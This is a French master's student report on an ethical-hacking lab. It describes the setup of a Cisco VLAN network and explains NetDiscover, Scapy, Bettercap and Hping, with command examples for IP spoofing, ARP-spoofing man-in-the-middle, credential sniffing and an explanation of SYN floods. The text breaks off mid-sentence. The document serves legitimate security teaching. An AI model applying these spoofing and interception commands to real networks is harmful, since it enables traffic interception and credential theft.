Vous êtes sur la page 1sur 70

MASTER SÉCURITÉ

INFORMATIQUE
UE5-Ethical Hacking

Projet - Infrastructure SI
Septembre 2017 – S1 / M1

Groupe N° 3

Rédacteur : MSI-P7-G3 Projet : Infrastructure SI

Date de mise à jour : 27/09/2017 Version : 1.0

1
Contacts

Prénom Nom Fonction Adresse électronique

Quentin DUPONT Ingénieur sécurité quentin.dupont@cfa-afti.fr


informatique

Type de document

Nom Confidentialité Périmètre de diffusion

Rapport de projet Public global

Révision du document

Version Date de Auteur Description


modification

1.0 21/09/2017 MSI-P7-G3 Documentation initiale

1.1 28/09/2017 MSI-P7-G3 Ajout de la partie mise en


pratique

Validation du document

Nom Date

Rédaction par : Quentin DUPONT

Validation par :

Approbation par :

2
Résumé du projet

Dans le cadre du projet “infrastructure SI” et du cours “Ethical Hacking” dispensés à l’AFTI,
nous avons créé notre groupe et nous avons répartis les tâches à accomplir pour réaliser le
projet. Dans un premier temps, nous avons monté une infrastructure réseau avec trois
commutateurs, un routeur et trois postes clients. Dans un second temps, nous avons
analysé les communications entre machines : lorsqu’il n’y avait aucune interaction
particulière d’abord puis lorsqu’une ou plusieurs d’entre-elles effectuaient des scans réseau
ou attaques Man-in-the-middle par exemple. Chacun a apporté ses connaissances au
groupe et a appris en retour.

3
Sommaire
Résumé du projet 3
Sommaire 4
Introduction 7
I) Gestion de l’équipe (talents et compétences) 9
a) Membres de l’équipe 9
b) Répartition des tâches 10
c) Difficultés rencontrées 11
II) Architecture du système d’information 12
1. Configuration des réseaux locaux virtuels (VLANs) 12
2. Configuration du routage inter-VLAN 13
3. Configuration de l’algorithme de l’arbre recouvrant (STP) 13
4. Sauvegarde des configurations 13
III) Analyse des outils de sécurité offensive 15
a) Outil NetDiscover 16
1) Introduction 16
2) Son fonctionnement 16
2.1) Découverte active 17
2.2) Découverte passive 17
3) Sources 18
b) Outil Scapy 19
1) Explication 19
2) Fonctionnement 19
3) Conclusion 21
4) Source 21
c) Outil Bettercap 22
1) Description de Bettercap 22
2) Présentation technique de l’outil 22
a. Capture de credentials 22
b. Serveur http intégré 22
c. Proxy http(s) transparent 22
3) Cas d’usages 22
4) Conclusion 24
d) Outil Hping 25
a. Description de Hping : 25

4
b. Présentation technique de l’outil : 25
c. Utilisation dans notre contexte : 27
Attaques SYN flood : 27
Attaques PING flood : 28
Attaque Smurf : 29
Attaque ARP Poisoning : 29
Attaque Unreachable Host : 29
Attaque TCP SYN : 29
Avantages et Inconvénients : 29
Conclusion 30
Outil Nmap 31
Introduction 31
Fonctionnalités 31
Scan Ping 31
Dans un même réseau 32
Dans un réseau différent 32
Scan Syn 33
Scan Ack 34
Scan TCP Connect 35
Contexte d’utilisation 36
Conclusion 36
Sources 37
Outil Netcat 38
Presentation 38
Développement technique 38
Utilisation 38
Ecoute d’un port - Simulation client/serveur 38
Scan de ports via la commande 38
Transfert de fichier 39
Backdoor 39
Conclusion 41
Stratégie offensive 42
1) La reconnaissance 42
1.1) Le renseignement d’origine source ouverte 43
1.2) Le renseignement des systèmes informatiques de la cible 44
1.3) Le renseignement des actifs numériques 45

5
2) L’attaque 46
2.1) Préparation du cycle offensif 47
2.2) Exploitation 47
2.3) Maintien de l’accès 47
2.4) Exfiltration 47
Démonstration 49
Introduction 49
Netdiscover 50
Hping 52
Nmap 55
Bettercap 55
Systemd 55
Ncat 57
Scapy 57
Annexes 59
1) Configuration du routeur R1 59
2) Configuration du commutateur 1 61
3) Configuration commutateur 2 64
4) Configuration commutateur 3 67

6
Introduction
Nous avons pour mission de réaliser une architecture d’après un cahier des charges défini
par le professeur superviseur. Il est indiqué dans ce dernier que deux possibilités sont
envisageables :

Possibilité 1

➢ L’architecture se compose de trois équipements réseau (commutateurs) ;


➢ Le commutateur SW1 est un commutateur de niveau 2 [OSI couche 2] et de niveau 3
[OSI couche 3] ;
➢ Les commutateurs (SW2, SW3) sont deux commutateurs de niveau 2 [OSI couche 2].
Chaque lien d’interconnexion est redondé ;
➢ Des VLANs doivent être configurés sur cette architecture ;
➢ Aucune sécurité ne doit être implémentée.

Possibilité 2

➢ L’architecture se compose de quatre équipements réseau (commutateurs et routeur) ;


➢ Le routeur R1 est de niveau 3 [OSI couche 3] ;
➢ Les trois commutateurs SW1, SW2 et SW3 sont de niveau 2 [OSI couche 2] ;
➢ Chaque lien d’interconnexion est redondé ;
➢ Des VLANs doivent être configurés sur cette architecture ;
➢ Aucune sécurité ne doit être implémentée.

7
Nous avons sélectionné la seconde alternative, car cela nous permet d’approcher des
composants matériels de différentes natures (commutateur, routeur).

Le but premier de ce projet est d’approcher ou de revoir les fondements de l’architecture des
systèmes d’information. Le second but est d’orchestrer et de conduire un audit de sécurité
du système d’information afin de révéler les différentes vulnérabilités que comporte notre
système d’information.

Les objectifs sont donc les suivants :

○ Revoir les notions de réseaux afin de les maîtriser ;


○ Comprendre le fonctionnement des différents outils de sécurité offensive ;
○ Savoir réaliser une cartographie d’un système d’information en se limitant aux
couches 2 et 3 du modèle OSI ;
○ Comprendre les vulnérabilités par défaut des systèmes d’information ;
○ Savoir exploiter les vulnérabilités existant dans le système d’information tout en se
limitant aux couches 2 et 3 du modèle OSI.

8
I) Gestion de l’équipe (talents et compétences)
a) Membres de l’équipe
Notre groupe est composé de sept membres :

Quentin DUPONT (profil : Administrateur réseau)


○ Intérêts/compétences : sécurité / réseau / système / management
○ Vue : fonctionnelle / technique ++
○ Travail en groupe : scolaire + professionnel

XX (profil : Généraliste informatique)


○ Intérêts/compétences : sécurité / système / réseau
○ Vue : fonctionnelle ++ / technique
○ Travail en groupe : scolaire

XX (profil : programmeur)
○ Intérêts/compétences : développement / sécurité / système / réseau
○ Vue : fonctionnelle + / technique +
○ Travail en groupe : scolaire + professionnel

XX (profil : Chef de projet informatique)


○ Intérêts/compétences : sécurité / réseau / système / management / art oratoire /
○ Vue : fonctionnelle ++ / technique
○ Travail en groupe : scolaire + professionnel

XX (profil : Généraliste informatique)


○ Intérêts/compétences : sécurité / réseau / système / technique
○ Vue : fonctionnelle / technique ++
○ Travail en groupe : scolaire + professionnel

XX (profil : programmeur et pentesteur)


○ Intérêts/compétences : développement / sécurité / système / réseau
○ Vue : fonctionnelle / technique ++
○ Travail en groupe : scolaire + professionnel

XX (profil : programmeuse + mathématicienne)


○ Intérêts/compétences : développement
○ Vue : fonctionnelle / technique ++
○ Travail en groupe : scolaire

9
b) Répartition des tâches
En fonction des profils et des compétences de chacun, les membres ont pris des initiatives
afin de mener à bien ce projet. Les profils techniques et fonctionnels ont pu communiquer de
manière efficace selon les tâches. Les membres ayant des lacunes ont pu suivre les
diverses analyses et explications des autres, leur permettant d’apprendre et de poursuivre
les recherches plus en profondeur.

Quentin DUPONT (profil : Administrateur réseau)


○ Configuration des commutateurs physiques et du routeur physique,
○ Participation à la rédaction de ce document,
○ Analyse de l’outil Hping sur le plan fonctionnel et technique,
○ Partage de connaissances sur l’outil Hping.

XX (profil : Généraliste informatique)


○ Configuration des commutateurs physiques et du routeur physique,
○ Analyse de l’outil Ettercap sur le plan fonctionnel et technique,
○ Partage de connaissances sur l’outil Ettercap.

XX (profil : programmeur)
○ Configuration des postes client,
○ Analyse de l’outil Scapy sur le plan fonctionnel et technique,
○ Partage de connaissances sur l’outil Scapy.

XX (profil : Chef de projet informatique)


○ Réalisation d’une architecture virtuelle sur PKT à des fins d’anticipation,
○ Rédaction de ce document (stratégie offensive / management et fonctionnel),
○ Analyse de l’outil NetDiscover sur le plan fonctionnel et technique,
○ Partage de connaissances sur l’outil NetDiscover.

XX (profil : Généraliste informatique)


○ Configuration des commutateurs physiques et du routeur physique,
○ Analyse de l’outil Bettercap sur le plan fonctionnel et technique,
○ Partage de connaissances sur l’outil Bettercap.

XX (profil : programmeur et pentesteur)


○ Configuration des postes client,
○ Analyse de l’outil Fping sur le plan fonctionnel et technique,
○ Analyse de l’outil Nmap sur le plan fonctionnel et technique,
○ Partage de connaissances sur les outils Fping et Nmap.

XX (profil : programmeuse + mathématicienne)


○ Réalisation d’une architecture virtuelle sur PKT à des fins d’anticipation,
○ Management et prise de décisions,
○ Analyse de l’outil Netcat sur le plan fonctionnel et technique,
○ Partage de connaissances sur l’outil Netcat.

10
c) Difficultés rencontrées
Il est important d’introduire en amont qu’il y a une très bonne entente au sein du groupe et
que le partage est réalisé de manière égale entre tous les membres. L’entraide et la
collaboration dans notre groupe nous permettent d’avancer et de nous mettre à niveau sur
chaque élément découvert. Néanmoins, pour certains les prérequis ne sont pas encore
assimilés et il faut prendre le temps de pouvoir réaffirmer les bases dans le dessein de
comprendre les différents concepts et cheminements étudiés.

11
II) Architecture du système d’information

(source : CISCO packet tracer)

Matériel utilisé :
○ 1 commutateur CISCO 2600
○ 2 commutateurs CISCO 2860
○ 1 routeur CISCO 3750
○ 3 ordinateurs fixes

Avant de procéder à la configuration des équipements réseaux, nous avons procédé à la


remise à zéro (RAZ) des différents matériels afin d’avoir une configuration d’usine.

1. Configuration des réseaux locaux virtuels (VLANs)


Pour rappel, un réseau local virtuel ou virtual local area network en anglais permet de créer
un réseau local regroupant un ensemble de terminaux de façon logique et non physique. Il y
a plusieurs types de réseau local virtuel qui existent :
○ Vlan de niveau 1 [OSI couche 1], également appelé VLAN par port. La particularité
de cette typologie est matérielle. En effet, un terminal a accès au(x) VLAN(s) en
fonction des ports de raccordement sur le commutateur.
○ VLAN de niveau 2 [OSI couche 2], également appelé VLAN MAC. La particularité de
cette typologie réside dans l’adresse matérielle de chaque terminaux. En effet, un
terminal a accès au(x) VLAN(s) si son adresse MAC (adresse matérielle) est inscrite
sur la liste des adresses MAC autorisées à se connecter à ce VLAN.
○ VLAN de niveau 3 [OSI couche 3], également appelé VLAN par sous-réseau. En
effet, il reprend le même principe que les sous-réseaux.
Dans notre cas, nous avons opté pour l’utilisation des VLANs de niveau 1. En effet, le
niveau 1 est le plus couramment utilisé en administration réseau.
Nous avons configuré trois réseaux locaux virtuels (VLANs) sur l’ensemble des équipements

12
réseau :
○ VLANID 10
○ VLANID 20
○ VLANID 30

Pour chaque commutateur :


○ Les ports [OSI couche 1] de 1 à 4 sont en « mode access » sur le VLANID 10 ;
○ Les ports [OSI couche 1] de 5 à 8 sont en « mode access » sur le VLANID 20 ;
○ Les ports [OSI couche 1] de 9 à 12 sont en « mode access » sur le VLANID 30 ;
○ Les ports [OSI couche 1] de 21 à 24 sont en « mode trunk » (interconnexion
redondée des commutateurs).

Sur le premier commutateur, le port [OSI couche 1] 20 est en « mode trunk » (vers le
routeur) et le port 18 est en « mode mirroring » par rapport au port 20. Le « mode
mirroring » permet la duplication de l’ensemble des flux traversant le routeur.
Tous les autres ports sont laissés configurer par défaut sur le VLANID 1.

2. Configuration du routage inter-VLAN


Sur le routeur CISCO 3750, nous avons configuré trois interfaces virtuelles correspondant
aux trois VLANs qui sont :
○ Interface FastEthernet 0/0.10 | @192.168.10.254/24 | VLANID 10
○ Interface FastEthernet 0/0.20 | @192.168.20.254/24 | VLANID 20
○ Interface FastEthernet 0/0.30 | @192.168.30.254/24 | VLANID 30

Pour que nos VLANs puissent communiquer, il faut pouvoir utiliser le routage [OSI couche
3]. C’est pourquoi chaque VLAN possède une adresse de passerelle propre à son VLAN de
niveau 3 [OSI couche 3], de cette façon il est possible de passer d’un sous-réseau à un autre
en utilisant un routeur.

3. Configuration de l’algorithme de l’arbre recouvrant (STP)


La redondance des interconnexions des commutateurs est un problème dans un réseau. En
effet, cela crée des boucles réseau et bloque l’ensemble du trafic. Dans ce cadre, nous
avons mis en place l’algorithme de l’arbre recouvrant également appelé en anglais Spanning
Tree Protocol (STP) en mode « rapid-pvst » permettant d’éviter ces boucles réseaux.

Si le STP n’est pas activé, le réseau va subir des tempêtes de diffusion et rendre totalement
indisponible celui-ci. Le STP est donc un prérequis nécessaire dès lors que les
interconnexions sont redondées.

4. Sauvegarde des configurations


Pour une question de sécurité, l’ensemble des configurations des équipements réseaux est
sauvegardé en local sur chaque équipement réseau.

13
Ces configurations ont également été exportées via le protocole Trivial File Transfer Protocol
(TFTP) sur une machine tierce.

Pour être totalement sûr de la sauvegarde, elle est finalement envoyée sur un espace en
ligne (CLOUD).

14
III) Analyse des outils de sécurité offensive
Après avoir procédé à la mise en service de l’infrastructure précédente, nous devons
effectuer une recherche sur les outils de sécurité offensive suivants :
○ NetDiscover,
○ Scapy,
○ Bettercap,
○ Hping,
○ Nmap,
○ Netcat.

Ce sont des outils d’exploration de réseaux, d’analyse et de recherche de vulnérabilité.


Chaque outil possède des caractéristiques différentes, mais néanmoins certains possèdent
des fonctionnalités semblables.

D’après le modèle OSI, les outils peuvent réaliser des attaques sur les couches suivantes :

Unité de
Couche Niveau du modèle OSI Outil de sécurité
données
Nmap, Hping, Bettercap,
Haute Niveau 4 : transport Segment
Ettercap, Scapy, Netcat
Nmap, Hping, Bettercap,
Niveau 3 : réseau Paquet Ettercap, Scapy,
NetDiscover, Netcat
Matérielle Nmap, Bettercap,
Niveau 2 – liaison de
Trame Ettercap, Scapy,
données
NetDiscover.
Niveau 1 – physique Bit

15
a) Outil NetDiscover
1) Introduction

NetDiscover est un programme qui est installé par défaut dans le système d’exploitation
KaliLinux (anciennement BackTrack), il est également disponible en package pour d’autres
distributions Linux. Il est référencé dans la catégorie « Récupération d’informations ». En
effet, ce programme a pour mission de récolter un maximum d’informations concernant la
cartographie (mapping) du segment logique.

Il va permettre une découverte passive ou active du réseau afin de recenser les différents
terminaux le composant. Les informations collectées sont :

○ L’adresse IP du terminal [OSI couche 3] ;


○ L’adresse MAC du terminal [OSI couche 2] ;
○ Le fabriquant du matériel réseau identifié par l’adresse MAC [OSI couche 2].

NetDiscover n’est pas le seul programme à pouvoir réaliser cette récupération


d’informations, il existe d’autres outils tels que NMAP. NetDiscover est un outil
complémentaire à NMAP car il utilise une méthode différente pour réaliser la découverte du
réseau.

NetDiscover réalise seulement de la découverte réseau, il réalise cette tâche avec une haute
qualité et avec une très grande rapidité en comparaison à NMAP.

Pour résumer, NetDiscover permet de former une table ARP [OSI couche 2] rapidement en
demandant, sur le segment logique ciblé, toutes les adresses IP qui sont affectées à un
terminal actif.

2) Son fonctionnement

Le programme utilise des requêtes ARP [OSI couche 2] et non l’adresse IP [OSI couche 3]
afin de réaliser cette cartographie du réseau. Le programme comporte plusieurs arguments
pour affiner la recherche d’informations.

-h (cet argument permet d’afficher le détail de tous les arguments pouvant être employés
dans ce programme)

-i ethx (cet argument permet de réaliser une écoute sur une interface précise de votre
machine où est exécuté le programme)

-r XXX.XXX.XXX.XXX/XX (cet argument permet de réaliser une découverte des terminaux


actifs sur le réseau spécifié) [A noté que si l’argument –r n’est pas inséré dans la commande,
netdiscover procédera au scan de tous les réseaux privés possibles classe A-B-C]

-f (cet argument permet d’envoyer en parallèle les requêtes, cela permet de ne pas attendre
les réponses des différentes requêtes avant d’en transmettre d’autres)

16
-S (cet argument permet d’activer le mode « hardcore mode », cela permet de supprimer les
temps d’attente entre les requêtes)

-p (cet argument permet d’activer le mode écoute sans émission)

2.1) Découverte active

On dit qu’une découverte est active dès lors qu’elle est visualisable sur le trafic global du
segment logique ciblé. Le programme envoie un grand nombre de paquets ARP [OSI couche
2] sur le segment logique ciblé. Ces paquets sont très légers et sont envoyés en diffusion
(broadcast). L’avantage considérable de ce type d’émission est qu’il ne cible pas un terminal
actif en particulier mais un segment logique dans son intégralité.

Techniquement parlant, si l’on décide de scanner le segment logique 192.168.1.0/24, le


programme va envoyer des requêtes ARP sur toutes les adresses de ce réseau (également
appelé broadcast MAC). Par exemple :

Est-ce que l’adresse IP 192.168.1.1/24 est attribué à un terminal sur le réseau ?

Source (MAC/IP) Destination Protocole Information

Who has 192.168.1.1 ? Tell


XX.XX.XX.XX.XX.XX Broadcast ARP
XXX.XXX.XXX.XXX

Le programme va attendre une réponse pour chaque requête émise. Lorsqu’une réponse est
communiquée au programme alors l’adresse ciblée est par définition attribuée à un terminal
sur le réseau. Netdiscover pourra alors inscrire le terminal avec ses informations sur la page
de rapport (également appelée de résultat).

2.2) Découverte passive

On dit qu’une découverte est passive dès lors qu’elle ne réalise aucune action sur le
segment logique ciblé hormis l’écoute du trafic global. Tout comme l’application
WireShark, le but premier d’être passif est de pouvoir écouter le trafic global sans réaliser la
moindre action qui permette de soupçonner une récupération d’informations sur le réseau.
La discrétion est l’arme primaire des personnes souhaitant attaquer un système
d’information.

Cet outil est très intéressant concernant la réalisation d’une cartographie d’un réseau, mais
quelles sont donc ses limites ?

Address Resolution Protocol (ARP) est un protocole permettant à deux terminaux sur un
réseau de pouvoir communiquer. Ce protocole est situé entre la couche 2 et la couche 3 du
modèle OSI. Il a pour mission de référencer le couple MAC [OSI couche 2]/IP [OSI couche 3]
lorsqu’un terminal souhaite communiquer avec un autre terminal sur le réseau.

En effet, pour qu’une communication puisse être effective entre deux terminaux il faut que

17
les deux terminaux aient connaissances de leurs adresses MAC respectives. Dans le cas
contraire, les deux terminaux ne pourront pas communiquer.

Deux remises de paquets ARP sont possibles :


○ La remise de paquets directs, c’est un échange de paquets sur un même segment
logique (sous-réseau, VLAN, etc). La diffusion ARP s’arrête au niveau du routeur, aucun
paquet ne peut dépasser le routeur.
○ La remise de paquets indirects, c’est un échange de paquets qui s’effectuent d’un
segment logique vers un autre segment logique. Par exemple, du VLAN10 vers le
VLAN20.

Pour que NetDiscover soit efficace et opérationnel, il doit être présent sur chaque segment
logique (sous-réseau, VLAN, etc) afin de pouvoir être en écoute et de récolter le maximum
d’informations sur tous les sous-réseaux d’une organisation.

3) Sources

https://www.information-security.fr/mapping-reseau-via-arp-netdiscover/
https://www.it-connect.fr/quest-ce-que-larp/

18
b) Outil Scapy
1) Explication

SCAPY est un outil codé en Python, permettant de recevoir, envoyer, lire, écouter tout ce qui
transite sur un réseau, câblé ou Wi-Fi. En effet, il est capable de sniffer un réseau, de
procéder à des attaques MITM (avec quelques petits ajouts), de scanner, de “tracerouter”,
de faire de la découverte de réseau ; bref, il n’a rien à envier à nmap ou hping par exemple.
Il permet aussi de détecter si quelqu’un a mis un DHCP sur un VLAN sans votre permission.

Par sa conception, il est extrêmement maniable et permet de pouvoir jongler entre les
requêtes valables et standardisées et les requêtes à la limite de la légalité, voir même
complètement illégales, au sens qu’elles ne respectent nullement la norme (comme envoyer
des frames invalides).

Il interagit de manière efficace, majoritairement sur les couches 2 et 3 du modèles OSI, en


utilisant entre autre ICMP (3) et ARP (2).

Sa plus grande qualité est qu’il ne traite pas les informations, il les délivre telles qu’elles sont,
ce qui fait que le rôle de l’utilisateur et de son analyse devient primordial. C’est donc un outil
très puissant, permettant d’être très pointilleux sur des interprétations que peuvent faire les
autres scanners (en pensant qu’un port est fermé à cause d’une réponse spécifique alors
qu’il ne l’est pas) mais pas des plus faciles si on est dans une attitude passive, dans l’attente
de résultats « pré-mâchés ».

2) Fonctionnement

Son fonctionnement est loin d’être complexe. En premier lieu, une fois l’installation terminée,
on peut directement se lancer dans ce qu’on désire faire. Comme il est codé en python, pour
avoir de l’aide sur une commande, il faut utiliser le fameux help(votre_commande) pour
savoir comment utiliser votre_commande et si l’on veut toutes les commandes utilisateur :
lsc().

Nota : Scapy regroupe énormément de fonctionnalités, les expliquer toutes ici sans logique
ni cohérence serait une perte de temps et d’énergie, pour vous comme pour moi. Je fais
donc volontairement des raccourcis.

La commande send() :
Elle permet d’envoyer un paquet sur la couche 3. Par exemple, si on veut envoyer un
message en ICMP, sur l’adresse 192.168.10.2, il faut faire send(IP(dst= « 192.168.10.2
»)/ICMP()).

Et si l’on veut customiser les datas placées par défaut, il suffit de les rajouter après ICMP,
comme ceci :

send(IP(dst= « 192.168.10.2 »)/ICMP()/ « Salut je m appelle timothe »)

Et si l’on veut falsifier l’émetteur, il suffira de rajouter :

send(IP(dst= « 192.168.10.2 », src= « 192.168.1.1 »)/ICMP()/ « Salut je m appelle Alien »)

19
(Sentez-vous l’odeur du MITM ?)

Ici, nous fonctionnons avec la couche 3, ce n’est pas ce que nous désirons, c’est pour cela
que nous avons la fonction suivante.

La commande sendp() :
Ici, nous allons spécifier l’interface via Ether() dans notre cas. Puis le paquet (IP dest, IP
source, data, etc..), le nom de l’interface, et les options (loop, interval entre deux
lancements).

La commande ARP():

Nous avons la possibilité d’envoyer des requêtes en ARP, en spécifiant l’adresse MAC d’un
destinataire et d’une source, et de forger les paquets que l’on désire envoyer via la MAC
adresse.

La commande sniff() :
Cette fonction est très explicite : elle permet d’écouter tout le trafic. On peut spécifier si l’on
doit arrêter l’écoute au bout d’un certain nombre de paquets reçus ou au bout d’un certain
temps, ce qu’on doit faire des paquets (les stocker, les lire, les filtrer, etc..).

Les commande wrpcap()/rdpcap() et hexdump() :


PCAP est une extension de fichier lu par d’autres analyseurs de trafic, permettant ainsi une
inter opérabilité entre SCAPY et WIRESHARK (par exemple), si l’on veut que ce soit plus
user friendly ou pour d’autres raisons qui pourraient nous pousser à utiliser wireshark. Ici, wr
est pour write et rd est pour read, ce qui est purement explicite : une fonction va enregistrer
au format PCAP et l’autre va l’importer depuis un fichier PCAP.

Je parle ici aussi de hexdump(), qui nous permet d’avoir les données au format Hex.

Si je parle de ces formats, ce n’est pas anodin : c’est la base de l’exploit que de pouvoir
enregistrer pour analyse ultérieur ou l’export vers un langage plus compréhensible
(hexadécimal).

Les commandes pour le routing :


Le routing permet d’établir, dans notre cas, une autre route que celle prévu par le système,
soit à des fins de simulation, soit pour falsifier et tromper un système ou un périphérique
réseau. En faisant simplement : conf.route suivi de l’une des fonctions delt,add et resync(),
on peut intégralement refaire une route à notre goût.

Pour aller plus loin :


Pour aller plus loin, nous pourrions citer des exemples d’utilisations que propose le site de
scapy. Entre autre, de l’ARP cache poisoning (dont nous reparlerons dans la partie attaque),
du TCP port scanning, IP scan, ICMP/ARP/TCP/UDP ping, ACK/Xmas/IP scan, etc..

Nous pouvons aussi voir qu’avec une extension (VPython), on peut rendre visuel un
traceroute. Cette extension permet de rendre plus visuel le traceroute, et ainsi, rendre la
présentation à des directeurs des SI plus interactives et plus concrètes.

Défauts :
Les défauts sont malgré tout assez nombreux et handicapants. On est bien d’accord que ce
framework est un véritable outil de précision, encore faut il arriver à le manier. Il faut donc

20
savoir bien coder en python, en pré-requis, et lire entre les lignes de la documentations de
Scapy, qui s’avère assez claires sur les bases mais très obscures pour le reste. Elle nous
apprend en effet à utiliser l’aide à bon escient, plutôt que de bien expliciter ce que vont
prendre les fonctions et méthodes en arguments.

Nous pourrons rajouter le côté très visible de Scapy sur le réseau. Tout bon administrateur
réseau ou auditeur se rendra très rapidement compte que Scapy est utilisé sur un réseau si
le pirate choisit la voie de la facilité plutôt que la conception manuelle et contrôlée de chaque
paquet. En effet, un paquet envoyé par défaut, sans autre configuration de la part de
l’utilisateur, entraînera un contenu de trame vide (par exemple) et sera donc repéré
directement.

3) Conclusion

d Cette outil est très puissant pour celui qui veut bien se donner la peine de faire les choses
proprement, par ses propres moyens, en prenant son temps et qui controlera chaque
élément, bit par bit on pourrait dire. C’est donc un véritable atout pour nous autre, pentesteur
et auditeur et encore plus pour une personne malveillante qui a du temps et de la motivation.

4) Source

http://scapy.readthedocs.io/en/latest/usage.html

21
c) Outil Bettercap
1) Description de Bettercap
Bettercap est un outil de MITM (Man In The Middle). Il est le successeur de ettercap, c’est un
fork avec pas mal de bugs corrigés (la stabilité sur les grandes plages d’ip notamment) et
l’ajout de nombreuses fonctionnalitées. Notamment l’ajout d’un proxy http/https intégré, la
possibilité d’avoir un proxy “personnalisé” et de nombreux protocole pouvant êtres spoofé et
sniffé.

2) Présentation technique de l’outil


Découverte des hôtes via ARP spoofing ou en mode silencieux (option: --no-discovery) en
récupérant seulement le cache ARP.

Possibilité de lancer l’ARP spoofing en Full-duplex c’est-à-dire qu’il attaque les hôtes et le
routeur. (option : --full-duplex)

a. Capture de credentials
Le sniffer intégré à bettercap permet de récupérer bon nombre d’informations (URLs visités,
http auth, http POST data, hôtes HTTPS, creds : FTP, IRC, POP, IMAP, SMTP, NTLMv1 et
v2).
bettercap –X Mode de snif par défaut sur tout le réseau local

b. Serveur http intégré


Serveur http intégré pour pouvoir distribuer un contenu web depuis notre machine sans avoir
à installer un serveur web tiers. (Commande : bettercap –httpd –http-path=/mon/path/js/)

c. Proxy http(s) transparent


bettercap –proxy –proxy-port=8081 Proxy http (port 8080 par default)
bettercap –proxy-https –proxy-pem cert.pem Proxy https avec custum cert

3) Cas d’usages
Attaque avec 192.168.1.254 en gateway sur eth0 et une adresse MAC random

22
Mode écoute silencieuse

Intercepter et empêcher la connexion des clients du réseau sur notre interface eth0 avec la
gateway 192.168.1.254

23
4) Conclusion

Bettercap apporte beaucoup d’avantages par rapport à ettercap. Un de ses atouts est sa
réelle simplicité d’usage. Dans notre scénario il aura permis d’obtenir des credentials
d’authentification. En effet nous avons observé lors de l’écoute en MITM que dès l’envoi du
formulaire web par kimjongun, les credentials ont été affichés par Bettercap qui intègre un
parseur HTTP.

24
d) Outil Hping

a. Description de Hping :
Le logiciel hping est outil puissant, une autre alternative à la commande de base ping. Il est
relativement évolué et permet de gérer plusieurs protocoles.
On peut en effet non seulement effectuer des requêtes ICMP pour vérifier la connectivité,
mais aussi et surtout des requêtes TCP ou UDP sur le port voulu pour vérifier l'état de ce
port sur une machine distante, et ceci de façon discrète.
Il comporte aussi un traceroute et des capacités à détecter les systèmes d’exploitation d'une
cible.

b. Présentation technique de l’outil :


Par défaut, hping envoie des requêtes TCP (de taille 40 bits) sur le port 0 (aucun service
spécifique sur ce port) de l'hôte de destination, avec aucun drapeau (flag) positionné, ce qui
aura pour effet de ne pas être inscrit dans les logs dans la plupart des cas. Le retour sera
une réponse TCP avec les drapeaux RST et ACK positionnés si l'hôte distant est connecté
avec une configuration TCP/IP fonctionnelle.

On peut à volonté positionner tous les drapeaux du segment TCP, ce qui permet de vérifier
les politiques des firewalls, et d'en déduire l'état des ports scannés de cette manière.
Une autre fonctionnalité intéressante est de vérifier l'état d'une connexion. On pourra en effet
déduire cette information en jouant sur la taille et la fragmentation des segments transmis.

Commandes générales :

>hping 192.168.30.2
HPING 192.168.30.2 (eth0 192.168.30.2): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.30.2 ttl=128 id=4230 sport=0 flags=RA seq=0 win=0 rtt=0.4 ms
len=46 ip=192.168.30.2 ttl=128 id=4232 sport=0 flags=RA seq=1 win=0 rtt=0.2 ms
--- 192.168.30.2 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.3/0.4 ms

Il s'agit de la commande de base : il suffit d'indiquer l'adresse réseau à tester. Il faut tout de
même noter que la requête envoyée par défaut est un segment TCP et non ICMP

25
- L'option -i permet de préciser l'intervalle de temps en secondes entre chaque
requête.
- L'argument -c permet de stipuler le nombre de requêtes qui doivent être émises.
- -q permet d'activer le quiet mode, pour ne pas afficher une ligne par requête, mais
seulement le résumé final.
- -V permet d'activer le mode Verbose, qui affiche tous les détails des requêtes
émises.

Commandes de protocole :

Plusieurs commandes permettent de sélectionner le protocole d'émission des requêtes.


-0 active le mode RAW IP, qui permet de signer la requête.
-1 sélectionne le mode ICMP, qui équivaut alors à la simple commande ping
-2 sélectionne le mode UDP, qui émet des segments UDP
-9 active le mode listen, qui permet de recevoir des paquets signés

Commandes du protocole IP :

>hping 192.168.30.2 -a 192.168.1.254


HPING 192.168.30.2 (eth0 192.168.30.2): NO FLAGS are set, 40 headers + 0
data bytes
--- 192.168.30.2 hping statistic ---
3 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

- L'option -a permet de spoofer une adresse IP, c'est à dire de se faire passer pour
quelqu'un d'autre
Il faut noter que, utilisée seule, cette option ne permet pas de recevoir les réponses
aux requêtes émises.

26
- L'option -G récupère la route utilisée pour atteindre l'hôte distant
Il faut savoir que certains matériels réseau ne supportent pas cette option (certains
routeurs notamment).
Commandes des protocoles TCP/UDP :

>hping 192.168.10.2 -p 80
HPING 192.168.30.2 (eth0 192.168.30.2): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.30.2 ttl=255 DF id=0 sport=53 flags=RA seq=0 win=0 rtt=3.1 ms
len=46 ip=192.168.30.2 ttl=255 DF id=0 sport=53 flags=RA seq=1 win=0 rtt=0.2 ms
len=46 ip=192.168.30.2 ttl=255 DF id=0 sport=53 flags=RA seq=2 win=0 rtt=0.2 ms
--- 192.168.30.2 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.2/1.1/3.1 ms

Cette option -p précise le port destination que l'on va joindre. Cet outil est très pratique pour
faire du scannage de port et ainsi déterminer les sécurités utilisées par un firewall par
exemple.
L'option -s permet de spécifier le port source de la requête. Cette fonction trouve son utilité
lorsqu'on veut passer outre un firewall spécialement configuré par exemple pour une
transmission de fichier.

Commandes permettant de faire de l'échange de fichier

-E permet de spécifier le fichier à envoyer


-e permet de préciser la signature des paquets à envoyer
-B permet d'activer la retransmission de paquet gérée par TCP, et permet alors d'avoir un
transfert fiable.

c. Utilisation dans notre contexte :

Attaques SYN flood :


Nature de l’attaque :

Une attaque SYN Flood est une attaque visant à provoquer un déni de service en émettant
un nombre important de demandes de synchronisation TCP incomplète avec un serveur.
Quand un système (client) tente d'établir une connexion TCP vers un système offrant un
service (serveur), le client et le serveur échangent une séquence de messages. Le système
client commence par envoyer un message SYN au serveur. Le serveur reconnaît ensuite le
message en envoyant un SYN-ACK message au client. Le client finit alors d’établir la
connexion en répondant par un message ACK. La connexion entre le client et le serveur est
alors ouverte, et le service de données spécifiques peut être échangé entre le client et le
serveur.

27
Le risque d'abus se pose à l'endroit où le système de serveur a envoyé un accusé de
